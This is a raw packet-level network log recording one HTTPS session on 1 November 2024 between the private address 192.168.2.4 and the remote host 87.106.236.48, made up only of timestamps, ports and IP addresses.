Nov 1, 2024 13:42:29.647576094 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.647892952 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.647908926 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.647967100 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.647974014 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.647986889 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.648010969 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.648082972 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.648103952 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.648178101 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.648185015 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.648217916 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.648233891 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.667325020 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.667341948 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.667495966 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.667526960 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.667579889 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.667615891 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.667633057 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.667675018 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.667684078 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.667710066 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.667723894 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.758054972 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.758083105 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.758137941 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.758186102 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.758207083 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.758232117 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.758285999 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.758306026 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.758343935 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.758351088 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.758368015 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.758394957 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.758713007 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.758752108 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.758785963 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.758793116 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.758810997 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.758843899 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.759222984 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.759243011 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.759285927 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.759293079 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.759308100 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.759325981 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.759502888 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.759520054 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.759560108 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.759567022 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.759588003 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.759610891 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.759893894 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.759916067 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.759946108 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.759953022 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.759979963 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.760000944 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.760211945 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.760236025 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.760304928 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.760313034 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.760349035 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.760375977 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.760449886 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.760469913 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.760504961 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.760512114 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.760525942 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.760554075 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.760658026 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.760679960 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.760718107 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.760726929 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.760751963 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.760771990 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.760839939 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.760860920 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.760894060 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.760900974 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.760927916 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.760940075 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.761280060 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.761300087 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.761337042 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.761343956 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.761358976 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.761383057 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.761554003 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.761570930 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.761617899 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.761626005 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.761657000 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.761666059 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.761826038 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.761842966 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.761888981 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.761895895 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.761925936 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.761950970 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.761972904 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.761981010 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.762017965 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.762048006 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.762192965 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.762213945 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.762237072 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.762245893 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.762274027 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.762289047 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.762428045 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.762449026 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.762501955 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.762509108 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.762542963 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.762554884 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.762684107 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.762710094 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.762748003 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.762754917 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.762778044 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.762799025 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.762816906 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.762839079 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.762871981 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.762878895 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.762906075 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.762940884 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.763087988 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.763107061 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.763142109 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.763149977 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.763175011 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.763195038 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.763457060 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.763480902 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.763521910 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.763528109 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.763550997 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.763569117 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.763571978 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.763582945 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.763607979 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.763633966 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.763663054 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.763669014 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.763711929 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.763834953 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.763859034 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.763896942 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.763902903 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.763921022 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.763947010 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.764058113 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.764082909 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.764107943 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.764116049 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.764142036 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.764153004 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.764395952 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.764421940 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.764468908 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.764476061 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.764518023 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.764532089 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.764612913 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.764637947 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.764667988 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.764676094 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.764714003 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.764714003 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.764839888 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.764866114 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.764914989 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.764923096 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.764946938 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.764957905 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.765151978 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.765167952 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.765204906 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.765211105 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.765229940 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.765249968 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.765494108 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.765512943 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.765548944 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.765557051 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.765571117 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.765594006 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.765738964 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.765767097 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.765800953 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.765806913 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.765821934 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.765845060 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.766053915 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.766071081 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.766107082 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.766114950 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.766132116 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.766153097 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.766355038 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.766371012 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.766402006 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.766408920 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.766433001 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.766450882 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.766787052 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.766804934 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.766839027 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.766844988 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.766860962 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.766895056 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.767021894 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.767040014 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.767075062 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.767082930 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.767107010 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.767121077 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.767587900 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.767604113 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.767663956 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.767664909 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.767678022 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.767695904 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.767724037 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.767750978 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.767755985 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.767796993 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.778599977 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.778616905 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.778861046 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.778872013 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.778919935 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.787034988 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.787077904 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.787133932 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.787158012 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.787200928 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.787223101 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.787235022 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.787271976 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.877902031 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.877929926 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.878032923 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.878050089 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.878062963 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.878083944 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.878129959 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.878149033 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.878177881 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.878190041 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.878346920 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.878362894 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.878423929 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.878431082 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.878478050 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.878962994 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.878981113 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.879029036 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.879035950 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.879081011 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.879122972 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.879141092 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.879177094 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.879183054 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.879214048 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.879221916 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.879467010 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.879487991 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.879535913 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.879543066 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.879585981 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.879694939 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.879712105 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.879765987 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.879775047 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.879817963 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.882750988 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.882766008 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.882821083 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.882826090 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.882837057 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.882853031 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.882880926 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.882886887 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.882906914 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.882925987 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.882986069 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.883001089 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.883039951 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.883045912 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.883073092 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.883090019 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.883407116 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.883423090 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.883481979 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.883483887 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.883493900 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.883512974 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.883541107 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.883552074 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.883567095 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.883586884 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.883656025 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.883677006 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.883716106 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.883722067 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.883750916 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.883764982 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.883829117 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.883842945 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.883896112 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.883903027 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.883944988 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.884094954 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.884109974 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.884160042 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.884169102 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.884179115 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.884205103 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.884211063 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.884224892 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.884244919 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.884289980 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.884337902 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.884354115 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.884392977 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.884398937 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.884413004 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.884440899 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.884516001 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.884532928 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.884567976 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.884576082 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.884602070 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.884618044 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.884773016 CET	443	49762	87.106.236.48	192.168.2.4
